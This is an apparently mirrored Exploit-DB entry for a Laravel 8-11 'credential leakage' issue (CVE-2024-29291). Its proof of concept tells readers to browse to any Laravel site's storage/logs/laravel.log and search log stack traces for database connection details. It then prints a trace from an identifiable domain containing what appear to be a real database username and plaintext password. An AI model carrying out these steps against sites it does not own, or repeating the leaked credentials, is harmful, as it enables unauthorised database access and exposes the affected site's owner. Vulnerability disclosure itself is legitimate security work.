Laravel Framework 11 – Credential Leakage

• Exploit Database
• 60 阅读

• 作者： Huseein Amer
  日期： 2024-04-21
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/52000/

• # Exploit Title: Laravel Framework 11 - Credential Leakage
  # Google Dork: N/A
  # Date: [2024-04-19]
  # Exploit Author: Huseein Amer
  # Vendor Homepage: [https://laravel.com/]
  # Software Link: N/A
  # Version: 8.* - 11.* (REQUIRED)
  # Tested on: [N/A]
  # CVE : CVE-2024-29291
  
  Proof of concept:
  Go to any Laravel-based website and navigate to storage/logs/laravel.log.
  
  Open the file and search for "PDO->__construct('mysql:host=".
  The result:
  shell
  Copy code
  #0
  /home/u429384055/domains/js-cvdocs.online/public_html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php(70):
  PDO->__construct('mysql:host=sql1...', 'u429384055_jscv', 'Jaly$$a0p0p0p0',
  Array)
  #1
  /home/u429384055/domains/js-cvdocs.online/public_html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php(46):
  Illuminate\Database\Connectors\Connector->createPdoConnection('mysql:host=sql1...',
  'u429384055_jscv', 'Jaly$$a0p0p0p0', Array)
  Credentials:
  Username: u429384055_jscv
  Password: Jaly$$a0p0p0p0
  Host: sql1...